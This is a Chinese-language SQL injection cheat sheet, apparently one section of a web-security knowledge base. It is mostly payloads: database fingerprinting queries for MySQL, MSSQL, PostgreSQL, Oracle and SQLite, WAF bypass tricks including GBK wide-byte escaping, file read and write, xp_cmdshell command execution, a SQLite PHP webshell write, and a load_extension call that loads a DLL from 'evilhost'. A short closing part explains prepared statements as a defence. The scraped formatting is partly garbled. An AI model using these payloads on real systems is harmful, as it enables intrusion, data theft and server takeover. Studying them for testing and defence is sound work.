SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
4.1.1.1. 按技巧分类
根据使用的技巧,SQL注入类型可分为
盲注
布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断报错注入:应用会显示全部或者部分的报错信息
堆叠注入:有的应用可以加入 ; 后一次执行多条语句
其他
另外也可以根据获取数据的方式分为3类
inband
利用Web应用来直接获取数据如报错注入都是通过站点的响应或者错误反馈来提取数据inference
通过Web的一些反映来推断数据如布尔盲注和堆叠注入也就是我们通俗的盲注,通过web应用的其他改变来推断数据out of band(OOB)
通过其他传输方式来获得数据,比如DNS解析协议和电子邮件例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null至不返回
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
判断数据库类型
and exists (select * from msysobjects ) > 0 access数据库and exists (select * from sysobjects ) > 0 SQLServer数据库判断数据库表
and exsits (select * from admin)版本、主机名、用户名、库名
表和字段
确定字段数
Order BySelect Into表名、列名
文件操作
读敏感文件写shell带外通道
网络请求UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
sleep sleep(1)
benchmarkBENCHMARK(5000000, MD5('test'))
字符串连接
SELECT 'a' 'b'SELECT CONCAT('some','string')version
SELECT @@versionSELECT version()识别用函数
connection_id()last_insert_id()row_count()字符串连接
'a'||'oracle' --SELECT CONCAT('some','string')version
SELECT banner FROM v$versionSELECT banner FROM v$version WHERE rownum=1WAITFOR WAITFOR DELAY '00:00:10';
SERVERNAME SELECT @@SERVERNAME
version SELECT @@version
字符串连接
SELECT 'some'+'string'常量
@@pack_received@@rowcount编码绕过
大小写url编码html编码十六进制编码unicode编码注释
// -- -- + -- - # /**/ ; 内联注释用的更多,它有一个特性/!**/只有MySQL能识别e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3只过滤了一次时
union => ununionion相同功能替换
函数替换
substring / mid / subascii / hex / binbenchmark/ sleep变量替换
user() / @@user符号和关键字
and /&or/ |HTTP参数
HTTP参数污染
id=1&id=2&id=3 根据容器不同会有不同的结果HTTP分割注入
缓冲区溢出
一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
一般程序员用gbk编码做开发的时候,会用set names 'gbk' 来设定,这句话等同于
set character_set_connection = ‘gbk’, character_set_result = ‘gbk’, character_set_client = ‘gbk’;
漏洞发生的原因是执行了set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk'的话real_escape是不知道设置的数据的编码的,就会加 \ 。此时server拿到数据解码 就认为提交的字符+\是gbk的一个字符,这样就产生漏洞了。
解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk'),这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用pdo。
还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin2在代码里面不等于admin,在数据库比较会等于admin。
Version
SELECT @@versionComment
SELECT 1 -- commentSELECT /*comment*/1Space
0x01 - 0x20Current User
SELECT user_name()SELECT system_userSELECT userSELECT loginame FROM master..sysprocesses WHERE spid = @@SPIDList User
SELECT name FROM master..sysloginsCurrent Database
SELECT DB_NAME()List Database
SELECT name FROM master..sysdatabasesCommand
EXEC xp_cmdshell 'net user'Ascii
SELECT char(0x41)SELECT ascii('A')SELECT char(65)+char(66) => return ABDelay
WAITFOR DELAY '0:0:3' pause for 3 secondsChange Password
ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'Trick
id=1 union:select password from:userVersion
SELECT @@versionComment
SELECT 1 -- commentSELECT 1 # commentSELECT /*comment*/1Space
0x9 0xa-0xd 0x20 0xa0Current User
SELECT user()SELECT system_user()List User
SELECT user FROM mysql.userCurrent Database
SELECT database()List Database
SELECT schema_name FROM information_schema.schemataList Tables
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'If
SELECT if(1=1,'foo','bar');return ‘foo’Ascii
SELECT char(0x41)SELECT ascii('A')SELECT 0x414243 => return ABCDelay
` sleep(1)SELECT BENCHMARK(1000000,MD5('A'))Read File
`select @@datadirselect load_file('databasename/tablename.MYD')Blind
ascii(substring(str,pos,length)) & 32 = 1Error Based
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;Write File
union select 1,1,1 into outfile '/tmp/demo.txt'union select 1,1,1 into dumpfile '/tmp/demo.txt'dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏Change Password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"Version
SELECT version()Comment
SELECT 1 -- commentSELECT /*comment*/1Current User
SELECT userSELECT current_userSELECT session_userSELECT getpgusername()List User
SELECT usename FROM pg_userCurrent Database
SELECT current_database()List Database
SELECT datname FROM pg_databaseAscii
SELECT char(0x41)SELECT ascii('A')Delay
pg_sleep(1)dump
SELECT * FROM ALL_TABLESComment
--/**/Space
0x00 0x09 0xa-0xd 0x20Comment
--/**/Version
select sqlite_version();Command Execution
ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (’<?system($_GET['cmd']); ?>’);–
Load_extension
UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--
SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
NoSQL注入的分析和缓解 NoSQL注入 SQL注入ByPass的一些小技巧 sqlmap time based inject 分析 SQLInjectionWiki Waf Bypass之道 MySQL Bypass Wiki